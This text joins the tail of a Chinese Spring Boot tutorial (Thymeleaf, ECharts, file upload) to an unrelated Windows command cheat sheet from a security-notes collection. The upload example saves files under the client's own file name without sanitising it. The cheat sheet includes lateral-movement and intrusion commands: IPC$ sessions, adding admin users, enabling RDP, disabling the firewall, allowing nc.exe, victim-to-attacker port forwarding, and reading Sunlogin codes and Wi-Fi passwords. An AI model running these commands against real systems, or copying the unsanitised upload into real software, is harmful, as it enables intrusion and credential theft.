spring.thymeleaf.encoding=UTF-8
# Comma-separated list of view names that should be excluded from resolution.
spring.thymeleaf.excluded-view-names=
# Template mode to be applied to templates. See also StandardTemplateModeHandlers.
spring.thymeleaf.mode=HTML5
# Prefix that gets prepended to view names when building a URL.
spring.thymeleaf.prefix=classpath:/templates/
# Suffix that gets appended to view names when building a URL.
spring.thymeleaf.suffix=.html spring.thymeleaf.template-resolver-order= # Order of the template resolver in the chain. spring.thymeleaf.view-names= # Comma-separated list of view names that can be resolved.
```
举几个我们常用的配置内容:
- 不想每次修改页面都重启
修改 spring.thymeleaf.cache 参数,设置为 false
- 不想使用 template 目录存放模板文件
修改 spring.thymeleaf.prefix 参数,设置为你想放置模板文件的目录
- 不想使用 index 作为模板文件的扩展名
修改 spring.thymeleaf.suffix 参数,设置为你想用的扩展名
- HTML5 的严格校验很烦人
修改 spring.thymeleaf.mode 参数,设置为 LEGACYHTML5
---
## ECharts
ECharts是百度开源的一个前端组件。它是一个使用 JavaScript 实现的开源可视化库,可以流畅的运行在 PC 和移动设备上,兼容当前绝大部分浏览器(IE8/9/10/11,Chrome,Firefox,Safari等),底层依赖矢量图形库 ZRender,提供直观,交互丰富,可高度个性化定制的数据可视化图表。
它提供了常规的折线图、柱状图、散点图、饼图、K线图,用于统计的盒形图,用于地理数据可视化的地图、热力图、线图,用于关系数据可视化的关系图、treemap、旭日图,多维数据可视化的平行坐标,还有用于 BI 的漏斗图,仪表盘,并且支持图与图之间的混搭。
除了已经内置的包含了丰富功能的图表,ECharts 还提供了自定义系列,只需要传入一个renderItem函数,就可以从数据映射到任何你想要的图形,更棒的是这些都还能和已有的交互组件结合使用而不需要操心其它事情。
在resources/templates目录下创建index.html页面
```html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8" />
<title>Spring Boot中使用ECharts</title>
<script src="https://cdn.bootcss.com/echarts/4.6.0/echarts.min.js"></script>
</head>
<body>
<div id="main" style="width: 1000px;height:400px;"></div>
</body>
<script type="text/javascript">
// 初始化ECharts组件到id为main的元素上
let myChart = echarts.init(document.getElementById('main'));
// 定义图标的配置项
let option = {
title: {
text: 'Spring Boot中使用ECharts'
},
tooltip: {},
// x轴配置
xAxis: {
data: ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']
},
// y轴配置
yAxis: {},
series: [{
// 数据集(也可以从后端的Controller中传入)
data: [820, 932, 901, 934, 1290, 1330, 1320],
// 图表类型,这里使用line,为折线图
type: 'line'
}]
};
myChart.setOption(option);
</script>
</html>
```
在页面内容中主要包含三部分:
- `<head>` 中通过 `<script>` 标签引入 ECharts 的组件 JS,这里使用了 bootcss 的免费公共 cdn。如果用于自己生产环境,不建议使用这类免费 CDN 的 JS 或者 CSS 等静态资源。可以从官网下载所需的静态内容,放到 Spring Boot 的静态资源位置(如果不知道在哪,可见上一篇),或是放到自己公司的静态资源管理的服务器上,实现动静分离。
- `<body>` 中定义了一个 id 为 main 的 `<div>` 标签,这个标签后续将用来渲染 EChart 组件
- 最后的一段 `<script>` 内容则是具体的 EChart 图标的展现初始化和配置。具体配置内容可见代码中的注释信息。
启动应用,访问 localhost:8080,如果上面操作均无差错,那就会得到折线图
---
## 文件上传
在pom.xml中引入模版引擎依赖:
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
```
你也可以选择其他你熟悉的模版引擎,比如:Freemarker。
在resources目录下,创建新目录templates;在templates目录下再创建一个文件上传的页面upload.html,内容如下:
```html
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8" />
<title>文件上传页面</title>
</head>
<body>
<h1>文件上传页面</h1>
<form method="post" action="/upload" enctype="multipart/form-data">
选择要上传的文件:<input type="file" name="file"><br>
<hr>
<input type="submit" value="提交">
</form>
</body>
</html>
```
创建文件上传的处理控制器,命名为UploadController
```java
@Controller
@Slf4j
public class UploadController {
@Value("${file.upload.path}")
private String path;
@GetMapping("/")
public String uploadPage() {
return "upload";
}
@PostMapping("/upload")
@ResponseBody
public String create(@RequestPart MultipartFile file) throws IOException {
String fileName = file.getOriginalFilename();
String filePath = path + fileName;
File dest = new File(filePath);
Files.copy(file.getInputStream(), dest.toPath());
return "Upload file success : " + dest.getAbsolutePath();
}
}
```
其中包含这几个重要元素:
- 成员变量 path,通过 @Value 注入配置文件中的 file.upload.path 属性。这个配置用来定义文件上传后要保存的目录位置。
- GET 请求,路径 /,用于显示 upload.html 这个文件上传页面。
- POST 请求。路径 /upload,用于处理上传的文件,即:保存到 file.upload.path 配置的路径下面。
编辑application.properties配置文件
```conf
spring.servlet.multipart.max-file-size=2MB
spring.servlet.multipart.max-request-size=2MB
file.upload.path=/Users/didi/
```
前两个参数用于限制了上传请求和上传文件的大小,而file.upload.path是上面我们自己定义的用来保存上传文件的路径。
---
## Source & Reference
- [Spring Boot 2.x基础教程:使用 Thymeleaf开发Web页面](https://blog.didispace.com/spring-boot-learning-21-4-1/)
- [Spring Boot 2.x基础教程:使用 ECharts 绘制各种华丽的数据图表](https://blog.didispace.com/spring-boot-learning-21-4-2/)
- [Spring Boot 2.x基础教程:实现文件上传](https://blog.didispace.com/spring-boot-learning-21-4-3/)
|
sec-knowleage
|
# Speed-Win
<p align="center">
<a href="https://www.pixiv.net/en/artworks/45083849"><img src="../../../assets/img/banner/Speed-Win.jpg" width="90%"></a>
</p>
---
## 大纲
* **[基础使用](#基础使用)**
* [环境变量](#环境变量)
* [符号](#符号)
* [会话](#会话)
* [文件和目录](#文件和目录)
* [查看](#查看)
* [创建](#创建)
* [删除](#删除)
* [查询](#查询)
* [修改](#修改)
* [链接](#链接)
* **[网络管理](#网络管理)**
* [IPC$](#ipc$)
* [查看网络信息](#查看网络信息)
* [网络排错工具](#网络排错工具)
* [RDP](#rdp)
* [防火墙](#防火墙)
* **[系统管理](#系统管理)**
* [系统信息](#系统信息)
* [日志](#日志)
* [系统设置](#系统设置)
* [时间](#时间)
* [注册表](#注册表)
* [计划任务](#计划任务)
* [组策略](#组策略)
* [账号管控](#账号管控)
* [进程管理](#进程管理)
* [设备管理](#设备管理)
* [硬盘-数据](#硬盘-数据)
* [安全设置](#安全设置)
* **[域](#域)**
---
## 基础使用
```bash
echo "Hello World" 输出 Hello World 到终端屏幕
cls 清除屏幕
chcp 65001 修改字符编码,修复乱码
Add-AppxPackage xxx.Msixbundle 安装 msixbundle 文件
```
**shutdown**
```bash
shutdown 关闭、重启、注销、休眠计算机
shutdown -s -t 60 60秒后关机
shutdown -s -t 3600 1小时后关机
tsshutdn 60秒后关机
shutdown -s -f 强制关机
shutdown -s -t 时间
shutdown -a 取消 关机命令
```
**运行脚本**
```bash
cscript 执行 vbs 脚本
cscript /Nologo test.vbs 执行 test.vbs 脚本
call ff.bat 调用执行 ff.bat 脚本(ff.bat 脚本执行完原脚本才会往下执行)
start 运行某程序或命令
start /max notepad.exe 最大化的方式启动记事本
start /min calc.exe 最小化的方式启动计算器
start /min "" d:\Proxifier.exe 最小化的方式启动 Proxifier 代理工具
start tasklist 启动一个 cmd 实例窗口,并运行 tasklist
start explorer f:\ 调用资源管理器打开f盘
strat iexplore "www.qq.com" 启动 ie 并打开 www.qq.com 网址
start ff.bat 启动开始执行 ff.bat(启动 ff.bat 脚本后,原脚本继续执行,不会等 ff.bat 脚本执行完)
```
### 环境变量
```bash
set 显示当前用户所有的环境变量
set path 查看 path 的环境变量值(准确的说是查看以 path 开头的环境变量)
set path= 清空 path 变量
set path=d:\execute
将 path 变量设置为 d:\execute(注:修改的 path 只会影响当前回话,也不会存储到系统配置中去;当前 cmd 窗口关闭,新设置的 path 也就不存在了)
set path=%path%;d:\execute
在 path 变量中添加 d:\execute(注:修改的 path 只会影响当前回话,也不会存储到系统配置中去;当前 cmd 窗口关闭,新设置的 path 也就不存在了)
path 显示当前 path 变量的值
path ; 清除所有搜索路径设置并指示 cmd.exe 只在当前目录中搜索
path d:\xxx;%PATH% 将 d:\xxx 路径添加到 path 中
```
---
### 符号
**&**
```bash
顺序执行多条命令,而不管命令是否执行成功
cd /d d:\src&work.exe /o c:\result.txt
先将当前工作目录切换到d:\src下,然后执行work.exe /o c:\result.txt命令
```
**&&**
```bash
顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令
find "ok" c:\test.txt && echo 成功
如果找到了"ok"字样,就显示"成功",找不到就不显示
```
**||**
```bash
顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
find "ok" c:\test.txt || echo 不成功
如果找不到"ok"字样,就显示"不成功",找到了就不显示
```
**|**
```bash
管道命令
dir *.* /s/a | find /c ".exe"
先执行 dir 命令,然后对输出结果(stdout)执行 find 命令(输出当前文件夹及所有子文件夹里的 .exe 文件的个数)
dir *.* /s/a 2>&1 | find /c ".exe"
先执行 dir 命令,然后对输出结果(stdout)和错误信息(stderr)执行 find 命令(输出当前文件夹及所有子文件夹里的.exe文件的个数)
```
**>**
```bash
将当前命令输出以覆盖的方式重定向
tasklist > p1.txt
将 tasklist 的输出结果(stdout)以覆盖的方式重定向到 p1.txt 文件中(注:tasklist 的输出结果就不会打印到屏幕上了)
tasklist 1> p1.txt
等同于:tasklist > p1.txt
dir bin 2> p1.txt
输出结果(stdout)打印在屏幕上,错误信息(stderr)以覆盖的方式重定向到 p1.txt 中(注:bin 目录不存在时,会输出错误信息)
dir bin > p1.txt 2>&1
将错误信息(stderr)重定向到输出结果(stdout),然后将输出结果(stdout)以覆盖的方式重定向到 p1.txt 中(注:bin 目录不存在时,会输出错误信息)
dir bin 2> p1.txt 1>&2
将输出结果(stdout)重定向到错误信息(stderr),然后将错误信息(stderr)以覆盖的方式重定向到 p1.txt 中(注:bin 目录不存在时,会输出错误信息) 注:与上条命令结果一致
tasklist >nul
屏幕上不打印 tasklist 的输出结果(stdout),错误信息(stderr)仍会打印
dir bin 2>nul
屏幕上不打印命令的错误信息(stderr),输出结果(stdout)仍会打印(注:bin 目录不存在时,会输出错误信息)
dir bin >nul 2>&1
将命令的错误信息(stderr)重定向到输出结果(stdout),然后不打印输出结果(stdout)[屏幕上错误信息(stderr)和输出结果(stdout)都不打印](注:bin 目录不存在时,会输出错误信息)
dir bin 2>nul 1>&2
将命令的输出结果(stdout)重定向到错误信息(stderr),然后不打印错误信息(stderr)[屏幕上错误信息(stderr)和输出结果(stdout)都不打印](注:bin 目录不存在时,会输出错误信息)
```
**>>**
```bash
将当前命令输出以追加的方式重定向
tasklist >> p2.txt
将 tasklist 的输出结果(stdout)以追加的方式重定向到 p2.txt 文件中(注:tasklist 的输出结果就不会打印到屏幕上了)
tasklist 1>> p2.txt
等同于:tasklist >> p2.txt
dir bin 2>> p2.txt
输出结果(stdout)打印在屏幕上,错误信息(stderr)以追加的方式重定向到 p2.txt 中(注:bin 目录不存在时,会输出错误信息)
dir bin >> p2.txt 2>&1
将错误信息(stderr)重定向到输出结果(stdout),然后将输出结果(stdout)以追加的方式重定向到 p2.txt 中(注:bin 目录不存在时,会输出错误信息)
dir bin 2>> p2.txt 1>&2
将输出结果(stdout)重定向到错误信息(stderr),然后将错误信息(stderr)以追加的方式重定向到 p2.txt 中(注:bin 目录不存在时,会输出错误信息) 注:与上条命令结果一致
```
**<**
```bash
从文件中获得输入信息,而不是从屏幕上,一般用于 date time label 等需要等待输入的命令
date <temp.txt
temp.txt 中的内容为 2005-05-01
```
**@**
```bash
命令修饰符 在执行命令前,不打印出该命令的内容
@cd /d d:\me
执行该命令时,不打印出命令的内容:cd /d d:/me
```
**,**
```bash
在某些特殊的情况下可以用来代替空格使用
dir,c:\
相当于:dir c:\
```
**;**
```bash
当命令相同的时候,可以将不同的目标用 ; 隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行
dir c:\;d:\;e:\
相当于顺序执行:dir c:\ dir d:\ dir e:\
```
---
### 会话
**会话信息**
```bash
query user 查看会话
```
**踢下线**
```
logoff <ID号> 踢掉
```
**会话设置**
```bash
title 正在做命令行测试 修改当前 cmd 窗口的标题栏文字为正在做命令行测试
prompt orz: 将命令提示符修改为 orz:
exit 退出当前 cmd 窗口实例
exit 0 退出当前 cmd 窗口实例,并将过程退出代码设置为 0(0 表示成功,非 0 表示失败)
exit /B 1 退出当前 bat 脚本,并将 ERRORLEVEL 系统变量设置为 1
pause 暂停批处理程序,并显示出:请按任意键继续....
color 设置当前 cmd 窗口背景色和前景色(前景色即为字体的颜色)
color 恢复到缺省设置
color 02 将背景色设为黑色,将字体设为绿色
chcp 查看命令行环境字符编码(为一个全局设置)
936 -- GBK(一般情况下为默认编码)
437 -- 美国英语
65001 -- utf-8
1200 -- utf-16
1201 -- utf-16(Big-Endian)
12000 -- utf-32
12001 -- utf-32(Big-Endian)
```
**永久修改 CMD 的默认字符集**
regedit
[HKEY_CURRENT_USER\Console] "CodePage"=dword:0000fde9
---
### 文件和目录
**目录**
```bash
cd 切换目录
cd .. 进入父目录
cd /d d: 进入上次d盘所在的目录(或在直接输入:d:)
cd /d d:\ 进入d盘根目录
cd d: 显示上次d盘所在的目录
cd /d d:\src 进入 d:\src 目录
cd prj\src\view 进入当前目录下的 prj\src\view 文件夹
```
#### 查看
**目录、文件信息**
```bash
dir 显示目录中的内容
dir 显示当前目录中的子文件夹与文件
dir /b 只显示当前目录中的子文件夹与文件的文件名
dir /p 分页显示当前目录中的子文件夹与文件
dir /ad 显示当前目录中的子文件夹
dir /a-d 显示当前目录中的文件
dir c:\test 显示 c:\test 目录中的内容
dir keys.txt 显示当前目录中 keys.txt 的信息
dir /S 递归显示当前目录中的内容
dir key* 显示当前目录下以 key 开头的文件和文件夹的信息
dir /AH /OS 只显示当前目录中隐藏的文件和目录,并按照文件大小从小到大排序
dir \\[IP]\c$ 查看建立IPC连接的主机的C盘目录
tree 显示目录结构
tree d:\myfiles 显示 d:\myfiles 目录结构
attrib 查看或修改文件或目录的属性 [A:存档 R:只读 S:系统 H:隐藏]
attrib 1.txt 查看当前目录下 1.txt 的属性
attrib -R 1.txt 去掉 1.txt 的只读属性
attrib +H movie 隐藏 movie 文件夹
```
**文件内容**
```bash
type 显示文本文件内容
type c:\11.txt 显示c盘中11.txt的文本内容
type conf.ini 显示当前目录下conf.ini的文本内容
type c:\11.txt | more 分页显示c盘中11.txt的文本内容
more 逐屏的显示文本文件内容
more conf.ini 逐屏的显示当前目录下conf.ini的文本内容 [空格:下一屏 q:退出 ]
```
---
#### 创建
```bash
md 用于创建文件夹,不能创建文本文档或者其他
md movie music 在当前目录中创建名为 movie 和 music 的文件夹
md c:\aaa 在 C 盘的根目录下创建名为 aaa 的子目录;
md c:\aaa\USER 在 aaa 子目录下再创建 USER 子目录。
fsutil 可用于执行多种与FAT 和NTFS 文件系统相关的任务
fsutil file createnew D:\test-500.t1 524288000 创建512MB的文件示例
```
---
#### 删除
```bash
del 删除文件 注意:目录及子目录都不会删除
del test
删除当前目录下的 test 文件夹中的所有非只读文件(子目录下的文件不删除;删除前会进行确认;等价于 del test\*)
del /f test
删除当前目录下的 test 文件夹中的所有文件(含只读文件;子目录下的文件不删除;删除前会进行确认;等价于 del /f test\*)
del /f /s /q test d:\test2\*.doc
删除当前目录下的 test 文件夹中所有文件及 d:\test2 中所有 doc 文件(含只读文件;递归子目录下的文件;删除前不确认)
del /ar *.* 删除当前目录下所有只读文件
del /a-s *.* 删除当前目录下除系统文件以外的所有文件
```
---
#### 查询
```bash
find 文件中搜索字符串
find /N /I "pid" 1.txt 在 1.txt 文件中忽略大小写查找 pid 字符串,并带行号显示查找后的结果
find /C "exe" 1.txt 只显示在 1.txt 文件中查找到 exe 字符串的次数
find /V "exe" 1.txt 显示未包含 1.txt 文件中未包含 exe 字符串的行
findstr 文件中搜索字符串
findstr "hello world" 1.txt 在 1.txt 文件中搜索 hello 或 world
findstr /c:"hello world" 1.txt 在 1.txt 文件中搜索 hello world
findstr /c:"hello world" 1.txt nul 在 1.txt 文件中搜索 hello world,并在每行结果前打印出1.txt: 注:findstr 只有在2个及以上文件中搜索字符串时才会打印出每个文件的文件名,nul 表示一个空文件
findstr /s /i "Hello" *.* 不区分大小写,在当前目录和所有子目录中的所有文件中的 hello
findstr "^[0-9][a-z]" 1.txt 在 1.txt 中搜索以1个数字+1个小写字母开头子串的行
findstr /si /n encry_pwd= c:\config.ini 查询向日葵的验证码
findstr /si /n fastcode= c:\config.ini 查询向日葵的识别码
findstr /si /n fastcodehistroy= c:\config.ini 查询向日葵的连接历史
```
---
#### 修改
```bash
ren 文件或目录重命名
ren rec.txt rec.ini 将当前目录下的 rec.txt 文件重命名为 rec.ini
ren c:\test test_01 将 c 盘下的 test 文件夹重命名为 test_01
```
```
copy 拷贝文件
copy /Y key.txt c:\doc 将当前目录下的 key.txt 拷贝到 c:\doc 下(不询问,直接覆盖写)
copy key.txt + 复制文件到自己,实际上是修改了文件日期
copy key.txt c:\doc
将当前目录下的 key.txt 拷贝到 c:\doc 下(若doc中也存在一个 key.txt 文件,会询问是否覆盖)
copy jobs c:\doc
将当前目录下 jobs 文件夹中文件(不递归子目录)拷贝到 c:\doc 下(若 doc 中也存在相应的文件,会询问是否覆盖)
copy key.txt c:\doc\key_bak.txt
将当前目录下的 key.txt 拷贝到 c:\doc 下,并重命名为 key_bak.txt(若 doc 中也存在一个 key_bak.txt 文件,会询问是否覆盖)
copy /Y key1.txt + key2.txt key.txt
将当前目录下的 key1.txt 与 key2.txt 的内容合并写入 key.txt 中(不询问,直接覆盖写)
copy /B art_2.7z.* art_2.7z
将当前目录下的 art_2.7z. 开头的所有文件(按照名称升序排序)依次合并生成 art_2.7z
copy /B art_2.7z.001+art_2.7z.002 art_2.7z
将当前目录下的 art_2.7z.001、art_2.7z.002 文件合并生成 art_2.7z
copy test.txt \\host\c$\windows\temp\test.txt 远程拷贝
```
```
xcopy 更强大的复制命令
xcopy c:\bat\hai d:\hello\ /y /h /e /f /c
将 c:\bat\hai 中的所有内容拷贝到 d:\hello 中 注意:需要在 hello 后加上 \ 表示 hello 为一个目录,否则 xcopy 会询问 hello 是 F,还是 D
xcopy c:\bat\hai d:\hello\ /d:12-29-2010
将 c:\bat\hai 中的2010年12月29日后更改的文件拷贝到 d:\hello 中
robocopy 更强大的复制命令
robocopy .\Plugins .\PluginsDest /MIR /xd Intermediate Binaries
将当前目录下 Plugins 中所有内容(排除名为 Intermediate 和 Binaries 的文件夹)保留目录结构拷贝到当前目录下的 PluginsDest 中(PluginsDest 不存在会自动创建)
robocopy c:\test d:\test2 /MIR /xd Intermediate /xf UE4Editor-SGame-Win64-DebugGame.dll *.pdb
将c:\test中所有内容(排除名为 UE4Editor-SGame-Win64-DebugGame.dll 和 pdb 后缀的文件)保留目录结构拷贝到 d:\test2中(d:\test2 不存在会自动创建)
move 移动文件
move *.png test
将当前目录下的 png 图片移动到当前目录下 test 文件夹中 (若 test 中也存在同名的 png 图片,会询问是否覆盖)
move /Y *.png test
将当前目录下的 png 图片移动到当前目录下 test 文件夹中 (不询问,直接覆盖写)
move 1.png d:\test\2.png
将当前目录下的 1.png 移动到 d 盘 test 文件夹中,并重命名为 2.png (若 test 中也存在同名的png图片,会询问是否覆盖)
move test d:\new
若 d 盘中存在 new 文件夹,将当前目录下的 test 文件夹移动到 d 盘 new 文件夹中;若不存在,将当前目录下的 test 文件夹移动到 d 盘,并重命名为 new
replace 替换文件[即使这个文件在使用,仍然可以替换成功]
replace d:\love.mp3 d:\mp3
使用 d 盘下的 love.mp3 强制替换 d 盘 mp3 目录中的 love.mp3 文件
```
```bash
assoc 设置'文件扩展名'关联到的'文件类型'
assoc 显示所有'文件扩展名'关联
assoc .txt 显示.txt代表的'文件类型',结果显示.txt=txtfile
assoc .doc 显示.doc代表的'文件类型',结果显示.doc=Word.Document.8
assoc .exe 显示.exe代表的'文件类型',结果显示.exe=exefile
assoc .txt=txtfile 恢复.txt的正确关联
ftype 设置'文件类型'关联到的'执行程序和参数'
ftype 显示所有'文件类型'关联
ftype exefile 显示exefile类型关联的命令行,结果显示 exefile="%1" %*
ftype txtfile=C:\Windows\notepad.exe %1 设置txtfile类型关联的命令行为:C:\Windows\notepad.exe %1
当双击一个.txt文件时,windows并不是根据.txt直接判断用notepad.exe打开
而是先判断.txt属于txtfile'文件类型';再调用txtfile关联的命令行:txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
forfiles 递归目录执行命令
forfiles /p . /m .svn /s /c "cmd /c svn up -r12005"
在当前目录下查找含有.svn的文件或目录(递归子目录),并对该目录执行指定版本号svn更新
forfiles /p c:\myfiles /m .svn /s /c "cmd /c svn up -r12005"
在c:\myfiles目录下查找含有.svn的文件或目录(递归子目录),并对该目录执行指定版本号svn更新
```
#### 链接
win7 下的 mklink 命令通过指定参数可以建立出不同形式的文件或目录链接,分为硬链接(hard link)、符号链接(symbolic link)和目录联接(junction)三种。
- 符号链接(symbolic link)
建立一个软链接相当于建立一个文件(或目录),这个文件(或目录)用于指向别的文件(或目录),和 win 的快捷方式有些类似。删除这个链接,对原来的文件(或目录)没有影像没有任何影响;而当你删除原文件(或目录)时,再打开链接则会提示“位置不可用”。
- 目录联接(junction)
作用基本和符号链接类似。区别在于,目录联接在建立时会自动引用原目录的绝对路径,而符号链接允许相对路径的引用。
- 硬链接(hard link)
建立一个硬链接相当于给文件建立了一个别名,例如对 1.txt 创建了名字为 2.txt 的硬链接;
若使用记事本对 1.txt 进行修改,则 2.txt 也同时被修改,若删除 1.txt,则 2.txt 依然存在,且内容与 1.txt 一样。
建立链接请注意:
1. 建立文件或目录链接限于 NTFS 文件系统;符号链接(目录联接)的建立可以跨分区(如:在 d 盘可以建立 c 盘文件或目录的链接),硬链接只能建立同一分区内的文件指向
2. 硬链接只能用于文件,不能用于目录;目录联接只能用于目录;符号链接则均可以;
3. 硬链接不允许对空文件建立链接,符号(软链接可以。
)
```bash
mklink 创建符号链接(win7 引入);创建的符号链接文件上会有一个类似快捷方式的箭头
mklink /j "C:\Users" "D:\Users" 创建 D 盘 Users 目录联接到 C 盘,并命名为 Users
```
#### 辅助
**Certutil**
可以使用该命令计算指定文件的哈希值
```bash
CertUtil -hashfile 文件名(可包含路径) md5
# 算法名可以取以下值:MD2, MD5, MD5, SHA1, SHA256, SHA384, SHA512。当该参数被省略时,使用 SHA1 算法。
```
---
## 网络管理
### IPC$
```bash
net use # 查看建立的连接
net use \\IP\ipc$ " " /user:" " # 建立 IPC 空链接
net use \\IP\ipc$ "[pass]" /user:"[username]" # 建立 IPC 非空链接
net use \\192.168.1.1\ipc$ "123456" /user:"administrator"
net use z: \\ip\ipc$ "pass" /user:"user" # 直接登录后映射对方 C: 到本地为 H:
net use h: ipc$ # 登录后映射对方 C: 到本地为 H:
net use \\IP\ipc$ /del # 删除 IPC 链接
net use h: /del # 删除映射对方到本地的为 H: 的映射
net user [username] [pass] /add # 建立用户
net user guest /active:yes # 激活 guest 用户
net user # 查看有哪些用户
net user [username] # 查看帐户的属性
net localgroup administrators # 列出本地管理员组成员
net localgroup administrators [username] /add # 把"用户"添加到管理员中使其具有管理员权限
net start # 查看开启了哪些服务
net start [servername] # 开启服务
net start telnet # 开启 telnet 服务
net start schedule
net stop [servername] # 停止某服务
net time [IP] # 查看对方时间
net time [IP] /set # 设置本地计算机时间与"目标IP"主机的时间同步,加上参数 /yes 可取消确认
net view # 查看本地局域网内开启了哪些共享
net view [IP] # 查看对方局域网内开启了哪些共享
net config # 显示系统网络设置
net logoff # 断开连接的共享
net pause [servername] # 暂停某服务
net send ip "xxx" # 向对方发信息
net ver # 局域网内正在使用的网络连接类型和信息
net share # 查看本地开启的共享
net share ipc$ # 开启 ipc$ 共享
net share db$=d:\config # 开启一个共享名为 db$,在 d:\config
net share ipc$ /del # 删除 ipc$ 共享
net share c$=c: # 恢复默认共享
net share c$ /del # 删除 C: 共享
net user guest 12345 # 用 guest 用户登录后用将密码改为 12345
net password [pass] # 更改系统登录密码
```
### 查看网络信息
**ipconfig**
```bash
ipconfig /all # 显示完整配置信息
ipconfig /release # 释放指定适配器的 IPv4 地址
ipconfig /release6 # 释放指定适配器的 IPv6 地址
ipconfig /renew # 更新指定适配器的 IPv4 地址
ipconfig /renew6 # 更新指定适配器的 IPv6 地址
ipconfig /flushdns # 清除 DNS 解析程序缓存
```
**netstat**
```bash
netstat -a # 查看开启了哪些端口,常用 netstat -an
netstat -n # 查看端口的网络连接情况,常用 netstat -an
netstat -v # 查看正在进行的工作
netstat -p [protocol] # 例:netstat -p tcq/ip 查看某协议使用情况
netstat -s # 查看正在使用的所有协议使用情况
netstat -A ip # 对方136到139其中一个端口开了的话,就可查看对方最近登录的用户名
netstat -bn # 查看每个程序的连接
```
**route**
```bash
route print
route print 192.*
route add 0.0.0.0 mask 0.0.0.0 192.168.6.1 # 增加网关
route delete 0.0.0.0 mask 0.0.0.0 192.168.6.1 # 删除网关
route change 16.21.0.0 mask 255.255.0.0 16.28.0.25 # 将 16.21.0.0 段的网关改为 0.25
```
**arp**
```bash
arp -a # 查看全部 arp 条目
arp -d ip # 删除
```
**nslookup**
```bash
nslookup domain [dns-server] # 查询域名A记录
nslookup -qt=type domain [dns-server] # 查询其他记录
# A 地址记录
# AAAA 地址记录
# AFSDB Andrew文件系统数据库服务器记录
# ATMA ATM地址记录
# CNAME 别名记录
# HINFO 硬件配置记录,包括 CPU、操作系统信息
# ISDN 域名对应的 ISDN 号码
# MB 存放指定邮箱的服务器
# MG 邮件组记录
# MINFO 邮件组和邮箱的信息记录
# MR 改名的邮箱记录
# MX 邮件服务器记录
# NS 名字服务器记录
# PTR 反向记录
# RP 负责人记录
# RT 路由穿透记录
# SRV TCP服务器信息记录
# TXT 域名对应的文本信息
# X25 域名对应的X.25地址记录
```
### 网络排错工具
**ping**
```bash
ping ip(或域名) # 向对方主机发送默认大小为32字节的数据
ping -l 数据包大小 ip
ping -n # 发送数据次数 ip
ping -t ip # 一直 ping.
ping -t -l 65500 ip # 发送大于64K的文件并一直 ping
```
**tracert**
```bash
tracert -d # 不将地址解析成主机名.
tracert -h maximum_hops # 搜索目标的最大跃点数.
tracert -j host-list # 与主机列表一起的松散源路由(仅适用于 IPv4).
tracert -w timeout # 等待每个回复的超时时间(以毫秒为单位).
tracert -R # 跟踪往返行程路径(仅适用于 IPv6).
tracert -S srcaddr # 要使用的源地址(仅适用于 IPv6).
tracert -4 # 强制使用 IPv4.
tracert -6 # 强制使用 IPv6.
```
---
### RDP
**开启 rdp**
```
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /d 0 /t REG_DWORD /f
wmic /namespace:\\root\CIMV2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !="") CALL SetAllowTSConnections 1
```
**更改终端端口为 2008(十六进制为:0x7d8)**
```
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
```
**查看 RDP 服务端口**
```
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /*出来的结果是 16 进制
```
---
### 防火墙
**netsh**
查看防火墙状态
```bash
netsh firewall show state
netsh advfirewall show allprofiles
```
开启防火墙
```bash
netsh firewall set opmode enable
netsh firewall set allprofiles state on
```
关闭防火墙
```bash
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
```
设置防火墙日志路径
```bash
netsh advfirewall set currentprofile logging filename "C:\Windows\firewall.log"
```
添加防火墙规则
```bash
netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=tcp localport=3389 允许 3389 端口
```
删除防火墙规则
```bash
netsh advfirewall firewall delete rule name="rule_name"
```
添加端口规则
```bash
netsh firewall portopening tcp 1234 rule_name
```
删除端口规则
```bash
netsh firewall delete portopening tcp 1234
```
添加程序规则
```bash
netsh firewall add allowedprogram "C:\\nc.exe" "allow nc" enable
```
删除程序规则
```bash
netsh firewall delete allowedprogram "C:\\nc.exe"
```
添加端口转发
```bash
netsh interface portproxy add v4tov4 [listenaddress=victim_ip] listenport=victim_port connectaddress=attack_ip connectport=attack_port
```
删除端口转发
```bash
netsh interface portproxy delete v4tov4 [listenaddress=victim_ip] listenport=victim_port
```
查看端口转发
```bash
netsh interface portproxy show all
netsh interface portproxy show v4tov4
netsh interface portproxy show v4tov6
netsh interface portproxy show v6tov4
netsh interface portproxy show v6tov6
```
安装 IPv6
```bash
netsh interface ipv6 install
```
查看无线网络信息
```bash
netsh wlan show profiles
```
查看指定 WIFI 密码
```bash
netsh wlan show profiles wifi_name key=clear
```
---
## 系统管理
### 系统信息
- 内容参见 [信息](./笔记/信息.md)
#### 日志
- 内容参见 [日志](./笔记/日志.md)
---
### 系统设置
#### 时间
```bash
time # 显示或设置当前时间
time /t # 显示当前时间
time # 设置新的当前时间(格式:hh:mm:ss),直接回车则表示放弃设置
date # 显示或设置当前日期
date /t # 显示当前日期
date # 设置新的当前日期(格式:YYYY/MM/DD),直接回车则表示放弃设置
```
#### 注册表
**reg 注册表相关操作**
参数说明:
```bash
# KeyName [\Machine]FullKey
# Machine 为远程机器的机器名 - 忽略默认到当前机器。
# 远程机器上只有 HKLM 和 HKU。
# FullKey ROOTKEY+SubKey
# ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
# SubKey 所选ROOTKEY下注册表项的完整名
# /v 所选项之下要添加的值名
# /ve 为注册表项添加空白值名<无名称>
